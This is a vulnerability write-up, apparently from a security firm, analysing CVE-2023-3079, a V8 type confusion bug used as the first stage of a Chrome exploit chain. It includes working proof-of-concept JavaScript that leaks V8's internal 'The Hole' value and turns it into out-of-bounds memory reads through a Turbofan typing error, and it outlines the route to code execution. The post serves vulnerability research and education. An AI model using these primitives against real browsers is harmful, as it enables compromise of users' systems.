Chaining N-days to Compromise All: Part 1 — Chrome Renderer RCE
This blog post is first of the series about the vulnerabilities used in our 1-day full chain exploit we demonstrated on X. In this blog post, we start with a Chrome renderer exploit, the first one in the exploit chain. The exploited vulnerability is CVE-2023–3079, a type confusion bug in V8.
Types of properties
Let’s assume we have a JavaScript object { a: 1, b: 2, 0: 3 }
. This object has two named properties (a
, b
) and an integer-indexed property (0
). When we say 'property' without any context, it usually refers to named properties; integer-indexed properties are also called elements.
In most cases, both properties and elements are backed by arrays. This representation of properties is called ‘Fast properties (elements)’, because it’s faster than the other representation that uses dictionaries.
The following figure shows basic memory layout of JavaScript objects in V8.
There are different kinds of elements, depending on the types of values and how the values are stored into the store. Most importantly, there are two kinds of elements: packed or holey elements. An elements store is packed if all elements are adjacent. On the other hand, An elements store is holey if there are holes between elements. An example can be [1,,3]
where the second entry is a hole. In V8, the holes are filled with a special value called 'The Hole'. Since it is used by the engine internally, it must not be exposed to JavaScript. So when V8 retrieves an element from a holey elements store, it verifies if the value is 'The Hole' and then returns undefined.
Inline cache
Since JavaScript is a dynamically-typed language, JavaScript engine may behave differently for a single line of code depending on the type of objects.
Take the following JavaScript code:
function set_keyed_prop(obj, key, val) {
obj[key] = val;
}
The function is quite simple, storing val
into key
property of obj
. However, there are several things to consider:
Is
key
an integer index, or a string?Where is
key
property located inobj
?…
Performing such checks every time is expensive, so the JavaScript engines implement an optimization named Inline Cache (IC) to speed up property accesses. IC exploits type locality, meaning that the types of operands at a certain point in a program rarely change. Initially, JavaScript engine starts with no type information, so it runs unoptimized version of code, collecting type information of the objects it encounters during the execution. Later the engine utilizes the collected profiles to optimize performance; it may call IC handlers or just-in-time compile code to native.
The following snippet illustrates how JavaScript engine handles the function above internally:
if (typeof(obj) == A) {
FAST_ROUTINE_OPTIMIZED_FOR_A();
} else {
SLOW_GENERIC_ROUTINE();
}
JavaScript engine may take different types of objects at a program point, so IC can handle multiple types as well. In this case, we call it polymorphic IC, while the earlier case is referred to be monomorphic.
The Bug
The bug lies in the way that IC handles property writes to JSStrictArgumentsObject
.
In V8, each bytecode that supports IC has its own IC slot, and an IC slot is a mapping from maps (hidden classes) to IC handlers. A slot may have no entries (uninitialized IC) or a few mappings (monomorphic IC, polymorphic IC). When there are too many entries in a polymorphic IC slot or a new IC handler is incompatible with existing handlers, the slot bails out to megamorphic state; the slot uses generic (slow) handlers.
The vulnerability is in IC implementation for SetKeyedProperty
bytecode.
function set_keyed_prop(obj, key, val) {
obj[key] = val; // SetKeyedProperty
}
Since there are two types of properties, IC also has two types of handlers: property handler and element handler. To install an element handler, KeyedStoreIC::StoreElementHandler()
is called to pick a proper one depending on the type of an object.
Handle<Object> KeyedStoreIC::StoreElementHandler(
Handle<Map> receiver_map, KeyedAccessStoreMode store_mode,
MaybeHandle<Object> prev_validity_cell) {
...
if (...) {
...
} else if (receiver_map->has_fast_elements() ||
receiver_map->has_sealed_elements() ||
receiver_map->has_nonextensible_elements() ||
receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub);
code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
...
}
...
}
JSStrictArgumentsObject
has fast elements, so StoreHandler::StoreFastElementBuiltin()
is called to load a fast element handler.
Handle<Code> StoreHandler::StoreFastElementBuiltin(Isolate* isolate,
KeyedAccessStoreMode mode) {
switch (mode) {
...
case STORE_AND_GROW_HANDLE_COW:
return BUILTIN_CODE(isolate,
StoreFastElementIC_GrowNoTransitionHandleCOW);
...
}
}
In StoreHandler::StoreFastElementBuiltin
, the buggy handler is StoreFastElementIC_GrowNoTransitionHandleCOW
. As the name says, the handler incurs no map transitions (which implies elements kind doesn't change), and it extends elements store if an index is equal to the capacity of the store (i.e., putting a value at the end of the elements store). When the handler extends an elements store, the extended store may have extra spaces and they are filled with 'The Hole'.
The default elements kind of a JSStrictArgumentsObject
is PACKED_ELEMENTS
, and it will remain the same after being handled the handler. This is problematic because the slow version of the same function says that adding an element to a non-JSArray
object should make its elements_kind HOLEY_ELEMENTS
.
Maybe<bool> JSObject::AddDataElement(Handle<JSObject> object, uint32_t index,
Handle<Object> value,
PropertyAttributes attributes) {
...
// [ 1 ] 'to' is elements kind from 'value'
ElementsKind to = Object::OptimalElementsKind(*value, isolate);
// [ 2 ] Change to Holey Element Kind if needed
// 1. If the elements kind of the object is already holey
// 2. If object is not a JSArray
// 3. If index is larger than the length of the JSArray
if (IsHoleyElementsKind(kind) || !object->IsJSArray(isolate) ||
index > old_length) {
to = GetHoleyElementsKind(to);
kind = GetHoleyElementsKind(kind);
}
// [ 3 ] Choose the more general elements kind between 'kind' and 'to'
to = GetMoreGeneralElementsKind(kind, to);
...
}
One more thing that makes this missing map transition exploitable is how V8 bounds-checks for element accesses; it checks in-object ‘length’ property for JSArray
s, while for all other objects the engine examines the length of their elements backing stores (FIXED_ARRAY
).
void AccessorAssembler::EmitFastElementsBoundsCheck(
TNode<JSObject> object, TNode<FixedArrayBase> elements,
TNode<IntPtrT> intptr_index, TNode<BoolT> is_jsarray_condition,
Label* miss) {
TVARIABLE(IntPtrT, var_length);
Comment("Fast elements bounds check");
Label if_array(this), length_loaded(this, &var_length);
GotoIf(is_jsarray_condition, &if_array);
{
var_length = SmiUntag(LoadFixedArrayBaseLength(elements));
Goto(&length_loaded);
}
BIND(&if_array);
{
var_length = SmiUntag(LoadFastJSArrayLength(CAST(object)));
Goto(&length_loaded);
}
BIND(&length_loaded);
GotoIfNot(UintPtrLessThan(intptr_index, var_length.value()), miss);
}
In the following we have an arguments
object and a JSArray
. While the arguments
object uses the capacity of its elements backing store (17) , the JSArray
uses the value of its length property (1) to bounds-check for elements accesses.
DebugPrint: 0x29df0004e8dd: [JS_ARGUMENTS_OBJECT_TYPE]
- map: 0x29df0019c7a1 <Map[20](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x29df00184ab9 <Object map = 0x29df001840f5>
- elements: 0x29df0004e961 <FixedArray[17]> [HOLEY_ELEMENTS]
- properties: 0x29df00000219 <FixedArray[0]>
- All own properties (excluding elements): {
0x29df00000e19: [String] in ReadOnlySpace: #length: 0 (data field 0), location: in-object
0x29df000043f9: [String] in ReadOnlySpace: #callee: 0x29df0019c381 <JSFunction getArgs (sfi = 0x29df0019c2c1)> (data field 1), location: in-object
0x29df000060d1 <Symbol: Symbol.iterator>: 0x29df0014426d <AccessorInfo name= 0x29df000060d1 <Symbol: Symbol.iterator>, data= 0x29df00000251 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x29df0004e961 <FixedArray[17]> { ******* Use this capacity *******
0: 1
1-16: 0x29df0000026d <the_hole>
}
DebugPrint: 0x29df0004ea0d: [JSArray]
- map: 0x29df0018e165 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x29df0018e3a9 <JSArray[0]>
- elements: 0x29df0004ea61 <FixedArray[17]> [PACKED_SMI_ELEMENTS]
- length: 1 ******* Use this length *******
- properties: 0x29df00000219 <FixedArray[0]>
- All own properties (excluding elements): {
0x29df00000e19: [String] in ReadOnlySpace: #length: 0x29df00144285 <AccessorInfo name= 0x29df00000e19 <String[6]: #length>, data= 0x29df00000251 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x29df0004ea61 <FixedArray[17]> {
0: 1
1-16: 0x29df0000026d <the_hole>
}
So in normal cases where the size of its elements store is larger than the number of elements, an out-of-bounds element access to a JSArray
is guarded by checking its 'length' property, and for other objects it is guarded by 'The Hole' check as the object's elements kind is HOLEY_ELEMENTS
.
However, the vulnerable handler keeps the map of arguments
PACKED_ELEMENTS
even after its elements store is extended, which allows us to leak 'The Hole' value.
Here is the Proof-of-concept (PoC) code that triggers the bug.
function set_keyed_prop(obj, key, val) {
obj[key] = val;
}
function leak_hole() {
const IC_WARMUP_COUNT = 10;
for (let i = 0; i < IC_WARMUP_COUNT; i++) {
set_keyed_prop(arguments, "foo", 1);
}
set_keyed_prop([], 0, 1);
set_keyed_prop(arguments, arguments.length, 1);
let hole = arguments[arguments.length + 1];
return hole;
}
The following is a step-by-step explanation on how the PoC code works.
First, there’s a loop that calls set_keyed_prop()
with an arguments
object and 'foo' as a key. After the loop, a property handler will be registered with the map of arguments
and 'foo' as the key, making the slot monomorphic.
DebugPrint: 0x37750019b08d: [Function] in OldSpace
...
- slot #0 StoreKeyedSloppy MONOMORPHIC
0x37750019ae75 <String[3]: #foo>: StoreHandler(<unexpected>)(0x37750018fccd <Map[20](PACKED_ELEMENTS)>) {
[0]: 0x37750019ae75 <String[3]: #foo>
[1]: 0x37750004ca65 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
}
Here we install a property handler, not an element handler. This is because an element handler for arguments
cannot be installed directly. If a key is Smi-like (integers or strings like '1') and an object is arguments
, KeyedStoreIC::Store()
takes slow path, rather than installs the buggy handler. For normal properties, however, StoreIC::Store()
is called to populate a handler in the slot.
MaybeHandle<Object> KeyedStoreIC::Store(Handle<Object> object,
Handle<Object> key,
Handle<Object> value) {
...
// If 'key' is a string, a property handler will be installed.
if (key_type == kName) {
ASSIGN_RETURN_ON_EXCEPTION(
isolate(), store_handle,
StoreIC::Store(object, maybe_name, value, StoreOrigin::kMaybeKeyed),
Object);
if (vector_needs_update()) {
if (ConfigureVectorState(MEGAMORPHIC, key)) {
set_slow_stub_reason("unhandled internalized string key");
TraceIC("StoreIC", key);
}
}
return store_handle;
}
...
// If 'key' is a Smi-like key, an element handler will be installed.
if (use_ic) {
if (!old_receiver_map.is_null()) {
if (is_arguments) {
set_slow_stub_reason("arguments receiver");
}
...
}
}
...
}
Then the PoC calls set_keyed_prop()
with an empty array. Since the array is not arguments
, an IC miss occurs and it calls KeyedStoreIC::UpdateStoreElement()
to install a new element handler. Then it calls KeyedStoreIC::StoreElementPolymorphicHandlers()
to change the state of the IC slot to polymorphic.
void KeyedStoreIC::UpdateStoreElement(Handle<Map> receiver_map,
KeyedAccessStoreMode store_mode,
Handle<Map> new_receiver_map) {
std::vector<MapAndHandler> target_maps_and_handlers;
nexus()->ExtractMapsAndHandlers(
&target_maps_and_handlers,
[this](Handle<Map> map) { return Map::TryUpdate(isolate(), map); });
if (target_maps_and_handlers.empty()) {
Handle<Map> monomorphic_map = receiver_map;
// If we transitioned to a map that is a more general map than incoming
// then use the new map.
if (IsTransitionOfMonomorphicTarget(*receiver_map, *new_receiver_map)) {
monomorphic_map = new_receiver_map;
}
Handle<Object> handler = StoreElementHandler(monomorphic_map, store_mode);
return ConfigureVectorState(Handle<Name>(), monomorphic_map, handler);
}
...
StoreElementPolymorphicHandlers(&target_maps_and_handlers, store_mode);
...
}
KeyedStoreIC::StoreElementPolymorphicHandlers()
iterates the previous IC handlers in the slot, and turns the handlers into element handlers by calling StoreElementHandler()
. This introduces the buggy handler into the slot.
void KeyedStoreIC::StoreElementPolymorphicHandlers(
std::vector<MapAndHandler>* receiver_maps_and_handlers,
KeyedAccessStoreMode store_mode) {
...
for (size_t i = 0; i < receiver_maps_and_handlers->size(); i++) {
Handle<Map> receiver_map = receiver_maps_and_handlers->at(i).first;
DCHECK(!receiver_map->is_deprecated());
MaybeObjectHandle old_handler = receiver_maps_and_handlers->at(i).second;
Handle<Object> handler;
Handle<Map> transition;
if (receiver_map->instance_type() < FIRST_JS_RECEIVER_TYPE ||
receiver_map->MayHaveReadOnlyElementsInPrototypeChain(isolate())) {
...
} else {
...
if (!transition.is_null()) {
TRACE_HANDLER_STATS(isolate(),
KeyedStoreIC_ElementsTransitionAndStoreStub);
handler = StoreHandler::StoreElementTransition(
isolate(), receiver_map, transition, store_mode, validity_cell);
} else {
handler = StoreElementHandler(receiver_map, store_mode, validity_cell);
}
}
DCHECK(!handler.is_null());
receiver_maps_and_handlers->at(i) =
MapAndHandler(receiver_map, MaybeObjectHandle(handler));
}
}
At the point, the IC slot looks like:
DebugPrint: 0x5ed0019b139: [Function] in OldSpace
...
- slot #0 StoreKeyedSloppy POLYMORPHIC
[weak] 0x05ed0018fccd <Map[20](PACKED_ELEMENTS)>: StoreHandler(builtin = 0x05ed00024b59 <Code BUILTIN StoreFastElementIC_GrowNoTransitionHandleCOW>, validity cell = 0x05ed0019b281 <Cell value= 0>)
[weak] 0x05ed0018e165 <Map[16](PACKED_SMI_ELEMENTS)>: StoreHandler(builtin = 0x05ed00024b59 <Code BUILTIN StoreFastElementIC_GrowNoTransitionHandleCOW>, validity cell = 0x05ed0019b365 <Cell value= 0>)
{
[0]: 0x05ed0004cafd <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
[1]: 0x05ed00000ebd <Symbol: (uninitialized_symbol)>
}
The last call to set_keyed_prop
is handled by the buggy handler, extending the elements store of arguments
while keeping the elements kind PACKED_ELEMENTS
.
set_keyed_prop(arguments, arguments.length, 1);
The following is the state of arguments
object after running the PoC. Its elements kind is PACKED_ELEMENTS
, and the elements store is FixedArray[17]
, where the empty spaces are filled with 'The Hole'.
DebugPrint: 0x5ed0004cb15: [JS_ARGUMENTS_OBJECT_TYPE]
- map: 0x05ed0018fccd <Map[20](PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x05ed00184ab9 <Object map = 0x5ed001840f5>
- elements: 0x05ed0004cb29 <FixedArray[17]> [PACKED_ELEMENTS]
- properties: 0x05ed00000219 <FixedArray[0]>
- All own properties (excluding elements): {
0x5ed00000e19: [String] in ReadOnlySpace: #length: 0 (data field 0), location: in-object
...
}
- elements: 0x05ed0004cb29 <FixedArray[17]> {
0: 1
1-16: 0x05ed0000026d <the_hole>
}
The Hole leak to OOB access
The leaked ‘The Hole’ object can be exploited to achieve arbitrary out-of-bounds access. This technique is originally shared by mistymntncop, and there is also a related writeup available. However, we will also elaborate some details on this.
Here is the exploit to achieve out-of-bounds access using ‘The Hole’.
function leak_stuff(b) {
if (b) {
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
let arr1 = [1.1, 2.2, 3.3, 4.4];
let arr2 = [0x1337, large_arr];
let packed_double_map_and_props = arr1.at(index * 4);
let packed_double_elements_and_len = arr1.at(index * 5);
let packed_map_and_props = arr1.at(index * 8);
let packed_elements_and_len = arr1.at(index * 9);
let fixed_arr_map = arr1.at(index * 6);
let large_arr_addr = arr1.at(index * 7);
return [
packed_double_map_and_props, packed_double_elements_and_len,
packed_map_and_props, packed_elements_and_len,
fixed_arr_map, large_arr_addr,
arr1, arr2
];
}
return 0;
}
The most important lines are the following ones:
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
The first line uses ternary operator, and it returns either ‘The Hole’ or -1. When leak_stuff()
gets hot and triggers Just-in-time compilation, the ternary operator introduces a Phi node, followed by a JSToNumberConvertBigInt
node.

Turbofan, the JIT compiler in V8, has typer phase where the compiler statically infers the type of each node. After the typer phase, the annotated types are as follows:

The type of the Phi node is inferred as the union of the type of The Hole
and an integer interval (-1, -1)
, which seems to be true. However, the type of the JSToNumberConvertBigInt
node is miscalculated since a call to Number()
with The Hole
produces NaN
.
d8> Number(%TheHole());
NaN
The type of JSToNumberConvertBigInt
node is inferred in OperationTyper::ToNumberConvertBigInt()
.
Type OperationTyper::ToNumberConvertBigInt(Type type) {
// If the {type} includes any receivers, then the callbacks
// might actually produce BigInt primitive values here.
bool maybe_bigint =
type.Maybe(Type::BigInt()) || type.Maybe(Type::Receiver());
type = ToNumber(Type::Intersect(type, Type::NonBigInt(), zone()));
// Any BigInt is rounded to an integer Number in the range [-inf, inf].
return maybe_bigint ? Type::Union(type, cache_->kInteger, zone()) : type;
}
The function first calculates the intersection of the type of the argument and Type::NonBigInt()
. Here type
is the type of the Phi node, and Type::NonBitInt()
is defined as OR-ed set of bit flags.
// src/compiler/types.h
#define INTERNAL_BITSET_TYPE_LIST(V) \
V(OtherUnsigned31, uint64_t{1} << 1) \
V(OtherUnsigned32, uint64_t{1} << 2) \
V(OtherSigned32, uint64_t{1} << 3) \
V(OtherNumber, uint64_t{1} << 4) \
V(OtherString, uint64_t{1} << 5) \
...
#define PROPER_ATOMIC_BITSET_TYPE_LOW_LIST(V) \
...
V(Hole, uint64_t{1} << 23) \
...
#define PROPER_BITSET_TYPE_LIST(V) \
...
V(NonBigInt, kNonBigIntPrimitive | kReceiver) \
...
When we flattens all sub-flags of Type::NonBigInt()
, we can see that the type of 'The Hole' is not in the set.
Symbol
Unsigned30
Negative31
OtherUnsigned31
OtherSigned32
Unsigned30
OtherUnsigned31
OtherUnsigned32
OtherNumber
MinusZero
NaN
InternalizedString
OtherString
Boolean
Null
Undefined
WasmObject
Array
CallableFunction
ClassConstructor
BoundFunction
OtherCallable
OtherObject
OtherUndetectable
CallableProxy
OtherProxy
So the type of ‘The Hole’ is filtered by the intersection, which results in an type error. This error is propagated through the following operations.

Here is the commented version of the exploit with the types inferred by the compiler and the actual value when the code is executed with ‘The Hole’.
function leak_stuff(b) {
if (b) {
let index = Number(b ? the.hole : -1); // [-1, -1] (actual value: NaN)
index |= 0; // [-1, -1] (actual value: 0)
index += 1; // [0, 0] (actual value: 1)
let arr1 = [1.1, 2.2, 3.3, 4.4];
let arr2 = [0x1337, large_arr];
let packed_double_map_and_props = arr1.at(index * 4);
let packed_double_elements_and_len = arr1.at(index * 5);
let packed_map_and_props = arr1.at(index * 8);
let packed_elements_and_len = arr1.at(index * 9);
let fixed_arr_map = arr1.at(index * 6);
let large_arr_addr = arr1.at(index * 7);
return [
packed_double_map_and_props, packed_double_elements_and_len,
packed_map_and_props, packed_elements_and_len,
fixed_arr_map, large_arr_addr,
arr1, arr2
];
}
return 0;
}
Since the compiler thinks the value of index
is always zero, it considers all bounds-checks to arr1
as unnecessary and optimizes them away. When the function is invoked later, however, index
is a non-zero value, and it will access arr1
out-of-bounds.
Exploitation
Now we have out-of-bounds memory access primitive, and there’s a standard way that achieves code execution from an oob primitive. A typical V8 exploit will:
Construct addr_of, arbitrary read/write primitives
- This can usually be achieved by creating a few adjacent arrays (PACKED_ELEMENTS
andPACKED_DOUBLE_ELEMENTS
) and overwriting the length properties of the arrays with the out-of-bounds access primitive.Use the primitives to gain arbitrary code execution
- For this, one needs to escape V8 sandbox.
- We already posted a detailed explanation on our blog.
More detailed information including PoC & exploit code is in Fermium-252: The Cyber Threat Intelligence Database. If you are interested to Fermium-252 service, contact us at contacts@theori.io.
Conclusion
This post provided the analysis on CVE-2023–3079 which is exploited in our 1-day full chain demo. The next post will be about exploiting a vulnerability in Windows ALPC service to escape Chrome sandbox.
References
🔵 website: https://theori.io ✉️ vr@theori.io